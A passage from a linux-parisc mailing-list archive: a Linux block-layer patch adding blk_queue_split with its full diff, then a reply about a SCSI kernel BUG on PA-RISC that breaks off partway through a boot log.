    size bios. Note that we add the call _after_ any call to
    blk_queue_bounce(); this means that blk_queue_split() and
    blk_recalc_rq_segments() don't need to be concerned with bouncing
    affecting segment merging.
    
    Some make_request_fn() callbacks were simple enough to audit and verify
    they don't need blk_queue_split() calls. The skipped ones are:
    
     * nfhd_make_request (arch/m68k/emu/nfblock.c)
     * axon_ram_make_request (arch/powerpc/sysdev/axonram.c)
     * simdisk_make_request (arch/xtensa/platforms/iss/simdisk.c)
     * brd_make_request (ramdisk - drivers/block/brd.c)
     * mtip_submit_request (drivers/block/mtip32xx/mtip32xx.c)
     * loop_make_request
     * null_queue_bio
     * bcache's make_request fns
    
    Some others are almost certainly safe to remove now, but will be left
    for future patches.
    
    Cc: Jens Axboe <axboe@kernel.dk>
    Cc: Christoph Hellwig <hch@infradead.org>
    Cc: Al Viro <viro@zeniv.linux.org.uk>
    Cc: Ming Lei <ming.lei@canonical.com>
    Cc: Neil Brown <neilb@suse.de>
    Cc: Alasdair Kergon <agk@redhat.com>
    Cc: Mike Snitzer <snitzer@redhat.com>
    Cc: dm-devel@redhat.com
    Cc: Lars Ellenberg <drbd-dev@lists.linbit.com>
    Cc: drbd-user@lists.linbit.com
    Cc: Jiri Kosina <jkosina@suse.cz>
    Cc: Geoff Levand <geoff@infradead.org>
    Cc: Jim Paris <jim@jtan.com>
    Cc: Philip Kelleher <pjk1939@linux.vnet.ibm.com>
    Cc: Minchan Kim <minchan@kernel.org>
    Cc: Nitin Gupta <ngupta@vflare.org>
    Cc: Oleg Drokin <oleg.drokin@intel.com>
    Cc: Andreas Dilger <andreas.dilger@intel.com>
    Acked-by: NeilBrown <neilb@suse.de> (for the 'md/md.c' bits)
    Acked-by: Mike Snitzer <snitzer@redhat.com>
    Reviewed-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Kent Overstreet <kent.overstreet@gmail.com>
    [dpark: skip more mq-based drivers, resolve merge conflicts, etc.]
    Signed-off-by: Dongsu Park <dpark@posteo.net>
    Signed-off-by: Ming Lin <ming.l@ssi.samsung.com>
    Signed-off-by: Jens Axboe <axboe@fb.com>

Attached diff.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-2-1029604226
Content-Disposition: attachment;
	filename=generic_make_request.d.txt
Content-Type: text/plain;
	name="generic_make_request.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/block/blk-core.c b/block/blk-core.c
index d1796b5..60912e9 100644
--- a/block/blk-core.c
+++ b/block/blk-core.c
@@ -643,6 +643,10 @@ struct request_queue *blk_alloc_queue_node(gfp_t =
gfp_mask, int node_id)
 	if (q->id < 0)
 		goto fail_q;
=20
+	q->bio_split =3D bioset_create(BIO_POOL_SIZE, 0);
+	if (!q->bio_split)
+		goto fail_id;
+
 	q->backing_dev_info.ra_pages =3D
 			(VM_MAX_READAHEAD * 1024) / PAGE_CACHE_SIZE;
 	q->backing_dev_info.capabilities =3D BDI_CAP_CGROUP_WRITEBACK;
@@ -651,7 +655,7 @@ struct request_queue *blk_alloc_queue_node(gfp_t =
gfp_mask, int node_id)
=20
 	err =3D bdi_init(&q->backing_dev_info);
 	if (err)
-		goto fail_id;
+		goto fail_split;
=20
 	setup_timer(&q->backing_dev_info.laptop_mode_wb_timer,
 		    laptop_mode_timer_fn, (unsigned long) q);
@@ -693,6 +697,8 @@ struct request_queue *blk_alloc_queue_node(gfp_t =
gfp_mask, int node_id)
=20
 fail_bdi:
 	bdi_destroy(&q->backing_dev_info);
+fail_split:
+	bioset_free(q->bio_split);
 fail_id:
 	ida_simple_remove(&blk_queue_ida, q->id);
 fail_q:
@@ -1610,6 +1616,8 @@ static void blk_queue_bio(struct request_queue *q, =
struct bio *bio)
 	struct request *req;
 	unsigned int request_count =3D 0;
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	/*
 	 * low level driver can indicate that it wants pages above a
 	 * certain limit bounced to low memory (ie for highmem, or even
@@ -1832,15 +1840,6 @@ generic_make_request_checks(struct bio *bio)
 		goto end_io;
 	}
=20
-	if (likely(bio_is_rw(bio) &&
-		   nr_sectors > queue_max_hw_sectors(q))) {
-		printk(KERN_ERR "bio too big device %s (%u > %u)\n",
-		       bdevname(bio->bi_bdev, b),
-		       bio_sectors(bio),
-		       queue_max_hw_sectors(q));
-		goto end_io;
-	}
-
 	part =3D bio->bi_bdev->bd_part;
 	if (should_fail_request(part, bio->bi_iter.bi_size) ||
 	    should_fail_request(&part_to_disk(part)->part0,
diff --git a/block/blk-merge.c b/block/blk-merge.c
index a455b98..d9c3a75 100644
--- a/block/blk-merge.c
+++ b/block/blk-merge.c
@@ -9,12 +9,158 @@
=20
 #include "blk.h"
=20
+static struct bio *blk_bio_discard_split(struct request_queue *q,
+					 struct bio *bio,
+					 struct bio_set *bs)
+{
+	unsigned int max_discard_sectors, granularity;
+	int alignment;
+	sector_t tmp;
+	unsigned split_sectors;
+
+	/* Zero-sector (unknown) and one-sector granularities are the =
same.  */
+	granularity =3D max(q->limits.discard_granularity >> 9, 1U);
+
+	max_discard_sectors =3D min(q->limits.max_discard_sectors, =
UINT_MAX >> 9);
+	max_discard_sectors -=3D max_discard_sectors % granularity;
+
+	if (unlikely(!max_discard_sectors)) {
+		/* XXX: warn */
+		return NULL;
+	}
+
+	if (bio_sectors(bio) <=3D max_discard_sectors)
+		return NULL;
+
+	split_sectors =3D max_discard_sectors;
+
+	/*
+	 * If the next starting sector would be misaligned, stop the =
discard at
+	 * the previous aligned sector.
+	 */
+	alignment =3D (q->limits.discard_alignment >> 9) % granularity;
+
+	tmp =3D bio->bi_iter.bi_sector + split_sectors - alignment;
+	tmp =3D sector_div(tmp, granularity);
+
+	if (split_sectors > tmp)
+		split_sectors -=3D tmp;
+
+	return bio_split(bio, split_sectors, GFP_NOIO, bs);
+}
+
+static struct bio *blk_bio_write_same_split(struct request_queue *q,
+					    struct bio *bio,
+					    struct bio_set *bs)
+{
+	if (!q->limits.max_write_same_sectors)
+		return NULL;
+
+	if (bio_sectors(bio) <=3D q->limits.max_write_same_sectors)
+		return NULL;
+
+	return bio_split(bio, q->limits.max_write_same_sectors, =
GFP_NOIO, bs);
+}
+
+static struct bio *blk_bio_segment_split(struct request_queue *q,
+					 struct bio *bio,
+					 struct bio_set *bs)
+{
+	struct bio *split;
+	struct bio_vec bv, bvprv;
+	struct bvec_iter iter;
+	unsigned seg_size =3D 0, nsegs =3D 0;
+	int prev =3D 0;
+
+	struct bvec_merge_data bvm =3D {
+		.bi_bdev	=3D bio->bi_bdev,
+		.bi_sector	=3D bio->bi_iter.bi_sector,
+		.bi_size	=3D 0,
+		.bi_rw		=3D bio->bi_rw,
+	};
+
+	bio_for_each_segment(bv, bio, iter) {
+		if (q->merge_bvec_fn &&
+		    q->merge_bvec_fn(q, &bvm, &bv) < (int) bv.bv_len)
+			goto split;
+
+		bvm.bi_size +=3D bv.bv_len;
+
+		if (bvm.bi_size >> 9 > queue_max_sectors(q))
+			goto split;
+
+		/*
+		 * If the queue doesn't support SG gaps and adding this
+		 * offset would create a gap, disallow it.
+		 */
+		if (q->queue_flags & (1 << QUEUE_FLAG_SG_GAPS) &&
+		    prev && bvec_gap_to_prev(&bvprv, bv.bv_offset))
+			goto split;
+
+		if (prev && blk_queue_cluster(q)) {
+			if (seg_size + bv.bv_len > =
queue_max_segment_size(q))
+				goto new_segment;
+			if (!BIOVEC_PHYS_MERGEABLE(&bvprv, &bv))
+				goto new_segment;
+			if (!BIOVEC_SEG_BOUNDARY(q, &bvprv, &bv))
+				goto new_segment;
+
+			seg_size +=3D bv.bv_len;
+			bvprv =3D bv;
+			prev =3D 1;
+			continue;
+		}
+new_segment:
+		if (nsegs =3D=3D queue_max_segments(q))
+			goto split;
+
+		nsegs++;
+		bvprv =3D bv;
+		prev =3D 1;
+		seg_size =3D bv.bv_len;
+	}
+
+	return NULL;
+split:
+	split =3D bio_clone_bioset(bio, GFP_NOIO, bs);
+
+	split->bi_iter.bi_size -=3D iter.bi_size;
+	bio->bi_iter =3D iter;
+
+	if (bio_integrity(bio)) {
+		bio_integrity_advance(bio, split->bi_iter.bi_size);
+		bio_integrity_trim(split, 0, bio_sectors(split));
+	}
+
+	return split;
+}
+
+void blk_queue_split(struct request_queue *q, struct bio **bio,
+		     struct bio_set *bs)
+{
+	struct bio *split;
+
+	if ((*bio)->bi_rw & REQ_DISCARD)
+		split =3D blk_bio_discard_split(q, *bio, bs);
+	else if ((*bio)->bi_rw & REQ_WRITE_SAME)
+		split =3D blk_bio_write_same_split(q, *bio, bs);
+	else
+		split =3D blk_bio_segment_split(q, *bio, q->bio_split);
+
+	if (split) {
+		bio_chain(split, *bio);
+		generic_make_request(*bio);
+		*bio =3D split;
+	}
+}
+EXPORT_SYMBOL(blk_queue_split);
+
 static unsigned int __blk_recalc_rq_segments(struct request_queue *q,
 					     struct bio *bio,
 					     bool no_sg_merge)
 {
 	struct bio_vec bv, bvprv =3D { NULL };
-	int cluster, high, highprv =3D 1;
+	int cluster, prev =3D 0;
 	unsigned int seg_size, nr_phys_segs;
 	struct bio *fbio, *bbio;
 	struct bvec_iter iter;
@@ -36,7 +182,6 @@ static unsigned int __blk_recalc_rq_segments(struct =
request_queue *q,
 	cluster =3D blk_queue_cluster(q);
 	seg_size =3D 0;
 	nr_phys_segs =3D 0;
-	high =3D 0;
 	for_each_bio(bio) {
 		bio_for_each_segment(bv, bio, iter) {
 			/*
@@ -46,13 +191,7 @@ static unsigned int __blk_recalc_rq_segments(struct =
request_queue *q,
 			if (no_sg_merge)
 				goto new_segment;
=20
-			/*
-			 * the trick here is making sure that a high =
page is
-			 * never considered part of another segment, =
since
-			 * that might change with the bounce page.
-			 */
-			high =3D page_to_pfn(bv.bv_page) > =
queue_bounce_pfn(q);
-			if (!high && !highprv && cluster) {
+			if (prev && cluster) {
 				if (seg_size + bv.bv_len
 				    > queue_max_segment_size(q))
 					goto new_segment;
@@ -72,8 +211,8 @@ new_segment:
=20
 			nr_phys_segs++;
 			bvprv =3D bv;
+			prev =3D 1;
 			seg_size =3D bv.bv_len;
-			highprv =3D high;
 		}
 		bbio =3D bio;
 	}
diff --git a/block/blk-mq.c b/block/blk-mq.c
index 9455902..81edbd9 100644
--- a/block/blk-mq.c
+++ b/block/blk-mq.c
@@ -1287,6 +1287,8 @@ static void blk_mq_make_request(struct =
request_queue *q, struct bio *bio)
 		return;
 	}
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	if (!is_flush_fua && !blk_queue_nomerges(q) &&
 	    blk_attempt_plug_merge(q, bio, &request_count, =
&same_queue_rq))
 		return;
@@ -1372,6 +1374,8 @@ static void blk_sq_make_request(struct =
request_queue *q, struct bio *bio)
 		return;
 	}
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	if (!is_flush_fua && !blk_queue_nomerges(q) &&
 	    blk_attempt_plug_merge(q, bio, &request_count, NULL))
 		return;
diff --git a/block/blk-sysfs.c b/block/blk-sysfs.c
index b1f34e4..3e44a9d 100644
--- a/block/blk-sysfs.c
+++ b/block/blk-sysfs.c
@@ -561,6 +561,9 @@ static void blk_release_queue(struct kobject *kobj)
=20
 	blk_trace_shutdown(q);
=20
+	if (q->bio_split)
+		bioset_free(q->bio_split);
+
 	ida_simple_remove(&blk_queue_ida, q->id);
 	call_rcu(&q->rcu_head, blk_free_queue_rcu);
 }
diff --git a/drivers/block/drbd/drbd_req.c =
b/drivers/block/drbd/drbd_req.c
index 9cb4116..923c857 100644
--- a/drivers/block/drbd/drbd_req.c
+++ b/drivers/block/drbd/drbd_req.c
@@ -1499,6 +1499,8 @@ void drbd_make_request(struct request_queue *q, =
struct bio *bio)
 	struct drbd_device *device =3D (struct drbd_device *) =
q->queuedata;
 	unsigned long start_jif;
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	start_jif =3D jiffies;
=20
 	/*
diff --git a/drivers/block/pktcdvd.c b/drivers/block/pktcdvd.c
index a7a259e..ee7ad5e 100644
--- a/drivers/block/pktcdvd.c
+++ b/drivers/block/pktcdvd.c
@@ -2447,6 +2447,10 @@ static void pkt_make_request(struct request_queue =
*q, struct bio *bio)
 	char b[BDEVNAME_SIZE];
 	struct bio *split;
=20
+	blk_queue_bounce(q, &bio);
+
+	blk_queue_split(q, &bio, q->bio_split);
+
 	pd =3D q->queuedata;
 	if (!pd) {
 		pr_err("%s incorrect request queue\n",
@@ -2477,8 +2481,6 @@ static void pkt_make_request(struct request_queue =
*q, struct bio *bio)
 		goto end_io;
 	}
=20
-	blk_queue_bounce(q, &bio);
-
 	do {
 		sector_t zone =3D get_zone(bio->bi_iter.bi_sector, pd);
 		sector_t last_zone =3D get_zone(bio_end_sector(bio) - 1, =
pd);
diff --git a/drivers/block/ps3vram.c b/drivers/block/ps3vram.c
index 49b4706..d89fcac 100644
--- a/drivers/block/ps3vram.c
+++ b/drivers/block/ps3vram.c
@@ -606,6 +606,8 @@ static void ps3vram_make_request(struct =
request_queue *q, struct bio *bio)
=20
 	dev_dbg(&dev->core, "%s\n", __func__);
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	spin_lock_irq(&priv->lock);
 	busy =3D !bio_list_empty(&priv->list);
 	bio_list_add(&priv->list, bio);
diff --git a/drivers/block/rsxx/dev.c b/drivers/block/rsxx/dev.c
index 63b9d2f..3163e4cdc 100644
--- a/drivers/block/rsxx/dev.c
+++ b/drivers/block/rsxx/dev.c
@@ -151,6 +151,8 @@ static void rsxx_make_request(struct request_queue =
*q, struct bio *bio)
 	struct rsxx_bio_meta *bio_meta;
 	int st =3D -EINVAL;
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	might_sleep();
=20
 	if (!card)
diff --git a/drivers/block/umem.c b/drivers/block/umem.c
index 3b3afd2..04d6579 100644
--- a/drivers/block/umem.c
+++ b/drivers/block/umem.c
@@ -531,6 +531,8 @@ static void mm_make_request(struct request_queue *q, =
struct bio *bio)
 		 (unsigned long long)bio->bi_iter.bi_sector,
 		 bio->bi_iter.bi_size);
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	spin_lock_irq(&card->lock);
 	*card->biotail =3D bio;
 	bio->bi_next =3D NULL;
diff --git a/drivers/block/zram/zram_drv.c =
b/drivers/block/zram/zram_drv.c
index 68c3d48..aec781a 100644
--- a/drivers/block/zram/zram_drv.c
+++ b/drivers/block/zram/zram_drv.c
@@ -900,6 +900,8 @@ static void zram_make_request(struct request_queue =
*queue, struct bio *bio)
 	if (unlikely(!zram_meta_get(zram)))
 		goto error;
=20
+	blk_queue_split(queue, &bio, queue->bio_split);
+
 	if (!valid_io_request(zram, bio->bi_iter.bi_sector,
 					bio->bi_iter.bi_size)) {
 		atomic64_inc(&zram->stats.invalid_io);
diff --git a/drivers/md/dm.c b/drivers/md/dm.c
index 7f367fc..069f8d7 100644
--- a/drivers/md/dm.c
+++ b/drivers/md/dm.c
@@ -1799,6 +1799,8 @@ static void dm_make_request(struct request_queue =
*q, struct bio *bio)
=20
 	map =3D dm_get_live_table(md, &srcu_idx);
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	generic_start_io_acct(rw, bio_sectors(bio), =
&dm_disk(md)->part0);
=20
 	/* if we're suspended, we have to queue this io for later */
diff --git a/drivers/md/md.c b/drivers/md/md.c
index ac4381a..e1d8723 100644
--- a/drivers/md/md.c
+++ b/drivers/md/md.c
@@ -257,6 +257,8 @@ static void md_make_request(struct request_queue *q, =
struct bio *bio)
 	unsigned int sectors;
 	int cpu;
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	if (mddev =3D=3D NULL || mddev->pers =3D=3D NULL
 	    || !mddev->ready) {
 		bio_io_error(bio);
diff --git a/drivers/s390/block/dcssblk.c b/drivers/s390/block/dcssblk.c
index 8bcb822..29ea239 100644
--- a/drivers/s390/block/dcssblk.c
+++ b/drivers/s390/block/dcssblk.c
@@ -826,6 +826,8 @@ dcssblk_make_request(struct request_queue *q, struct =
bio *bio)
 	unsigned long source_addr;
 	unsigned long bytes_done;
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	bytes_done =3D 0;
 	dev_info =3D bio->bi_bdev->bd_disk->private_data;
 	if (dev_info =3D=3D NULL)
diff --git a/drivers/s390/block/xpram.c b/drivers/s390/block/xpram.c
index 93856b9..02871f1 100644
--- a/drivers/s390/block/xpram.c
+++ b/drivers/s390/block/xpram.c
@@ -190,6 +190,8 @@ static void xpram_make_request(struct request_queue =
*q, struct bio *bio)
 	unsigned long page_addr;
 	unsigned long bytes;
=20
+	blk_queue_split(q, &bio, q->bio_split);
+
 	if ((bio->bi_iter.bi_sector & 7) !=3D 0 ||
 	    (bio->bi_iter.bi_size & 4095) !=3D 0)
 		/* Request is not page-aligned. */
diff --git a/drivers/staging/lustre/lustre/llite/lloop.c =
b/drivers/staging/lustre/lustre/llite/lloop.c
index cc00fd1..1e33d54 100644
--- a/drivers/staging/lustre/lustre/llite/lloop.c
+++ b/drivers/staging/lustre/lustre/llite/lloop.c
@@ -340,6 +340,8 @@ static void loop_make_request(struct request_queue =
*q, struct bio *old_bio)
 	int rw =3D bio_rw(old_bio);
 	int inactive;
=20
+	blk_queue_split(q, &old_bio, q->bio_split);
+
 	if (!lo)
 		goto err;
=20
diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h
index 243f29e..ca778d9 100644
--- a/include/linux/blkdev.h
+++ b/include/linux/blkdev.h
@@ -463,6 +463,7 @@ struct request_queue {
=20
 	struct blk_mq_tag_set	*tag_set;
 	struct list_head	tag_set_list;
+	struct bio_set		*bio_split;
 };
=20
 #define QUEUE_FLAG_QUEUED	1	/* uses generic tag queueing */
@@ -783,6 +784,8 @@ extern void blk_rq_unprep_clone(struct request *rq);
 extern int blk_insert_cloned_request(struct request_queue *q,
 				     struct request *rq);
 extern void blk_delay_queue(struct request_queue *, unsigned long);
+extern void blk_queue_split(struct request_queue *, struct bio **,
+			    struct bio_set *);
 extern void blk_recount_segments(struct request_queue *, struct bio *);
 extern int scsi_verify_blk_ioctl(struct block_device *, unsigned int);
 extern int scsi_cmd_blk_ioctl(struct block_device *, fmode_t,

--Apple-Mail-2-1029604226--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 10:10:44 -0800
Lines: 340
Approved: news@gmane.org
Message-ID: <1456078244.2340.4.camel@HansenPartnership.com>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
	 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
	 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
	 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
	 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
	 <1456026424.2268.5.camel@HansenPartnership.com>
	 <C6219E31-B9EA-4CD3-AD4A-76C5945E882D@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456078260 27735 80.91.229.3 (21 Feb 2016 18:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 18:11:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 19:10:50 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXYT2-00005Q-88
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 19:10:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751390AbcBUSKr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 13:10:47 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35148 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751117AbcBUSKq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 13:10:46 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 951238EE171;
	Sun, 21 Feb 2016 10:10:45 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1456078245;
	bh=P0wXvTPGoYX2cL1ms17NvKa7lQux2XON+WpsfrfXLOU=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=Kqv2KQz6OJ0XulkU3dc91PLpnyXoTxrJDkjRY74PcZY3eXBaReHI0iOcJsdu53WtR
	 Nh05wYw7QgJOY8DUDQihShsnzUbbXA0vYbVlldpVydv696hKlD58aDTkNDfpY0YM66
	 zPP3guakBRDpGo7zzDaUhf0AsArkSfn9YCMPYTRU=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sgukOMYSI33g; Sun, 21 Feb 2016 10:10:45 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 13A2A8EE0E3;
	Sun, 21 Feb 2016 10:10:45 -0800 (PST)
In-Reply-To: <C6219E31-B9EA-4CD3-AD4A-76C5945E882D@bell.net>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26475>

On Sun, 2016-02-21 at 09:45 -0500, John David Anglin wrote:
> I tried HEAD this morning and problem is still present.  The warning
> in blk-merge.c occurs
> first followed by BUG:
> kernel BUG at drivers/scsi/scsi_lib.c:1097! 
> 
> Entire console output is shown below:

OK, this might actually be a clue.  I've attached my full boot below
for good measure.  There are two significant differences, firstly the
gcc version: you're 4.9 and I'm 4.5 and secondly the ata drivers.  I
have no ata drivers for the CD rom in my initrd (they caused problems a
while ago, so I have them blacklisted).  Can you take all the ata
drivers out of your initrd and see if you still get the panic.  If not,
we know where the fault is.

James

---

Command line for kernel: ' root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux-test'
Selected kernel: /vmlinux-test from partition 1
Selected ramdisk: /initrd.img-test from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 229872 mediaptr 0x1000
Segment 1 load 00139000 size 148016 mediaptr 0x3a000
Segment 2 load 00200000 size 8622768 mediaptr 0x5f000
Segment 3 load 00b00000 size 1583856 mediaptr 0x899000
Loading ramdisk 3119670 bytes @ 3fcf4000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Linux version 4.5.0-rc2 (jejb@ion) (gcc version 4.2.4 (Debian 4.2.4-6)) #1 SMP Fri Feb 5 17:20:38 PST 2016
[    0.000000] unwind_init: start = 0x409e92d0, end = 0x40a392b0, entries = 20478
[    0.000000] WARNING: Out of order unwind entry! 00000000409ed440 and 00000000409ed450
[    0.000000] WARNING: Out of order unwind entry! 00000000409ed450 and 00000000409ed460
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee160 and 00000000409ee170
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee170 and 00000000409ee180
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee1f0 and 00000000409ee200
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee200 and 00000000409ee210
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee210 and 00000000409ee220
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee220 and 00000000409ee230
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee230 and 00000000409ee240
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee240 and 00000000409ee250
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee250 and 00000000409ee260
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee260 and 00000000409ee270
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee270 and 00000000409ee280
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee280 and 00000000409ee290
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee2b0 and 00000000409ee2c0
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee2c0 and 00000000409ee2d0
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee2d0 and 00000000409ee2e0
[    0.000000] WARNING: Out of order unwind entry! 00000000409ee2e0 and 00000000409ee2f0
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008870 00000491 00000000 00000002 3e0505e7352af710 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 20 rev 4 (0x00000284)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3440  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
[    0.000000] Total Memory: 2046 MB
[    0.000000] initrd: 7fcf4000-7ffeda36
[    0.000000] initrd: reserving 3fcf4000-3ffeda36 (mem_max 7fe00000)
[    0.000000] PERCPU: Embedded 18 pages/cpu @0000000042020000 s33328 r8192 d32208 u73728
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 515592
[    0.000000] Kernel command line:  root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux-test
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Sorting __ex_table...
[    0.000000] Memory: 2039128K/2095104K available (6156K kernel code, 2727K rwdata, 1214K rodata, 1024K init, 664K bss, 55976K reserved, 0K cma-reserved)
[    0.000000] virtual kernel memory layout:
    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    0.000000]     memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
    0.000000]       .init : 0x0000000040100000 - 0x0000000040200000   (1024 kB)
    0.000000]       .data : 0x0000000040803000 - 0x0000000040bdc8d0   (3942 kB)
    0.000000]       .text : 0x0000000040200000 - 0x0000000040803000   (6156 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	Build-time adjustment of leaf fanout to 64.
[    0.000000] NR_IRQS:128
[    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0xb881be7834, max_idle_ns: 440795218296 ns
[    0.000000] Console: colour dummy device 160x64
[    0.004000] Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
[    0.028000] pid_max: default: 32768 minimum: 301
[    0.028000] Security Framework initialized
[    0.028000] Yama: becoming mindful.
[    0.028000] AppArmor: AppArmor disabled by boot time parameter
[    0.036000] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.036000] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.044000] Brought up 1 CPUs
[    0.044000] devtmpfs: initialized
[    0.052000] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    0.076000] NET: Registered protocol family 16
[    0.076000] EISA bus registered
[    0.080000] Searching for devices...
[    0.212000] Found devices:
[    0.212000] 1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
[    0.212000] 2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
[    0.212000] 3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
[    0.220000] 4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
[    0.224000] 5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
[    0.232000] 6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    0.240000] 7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    0.240000] 8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
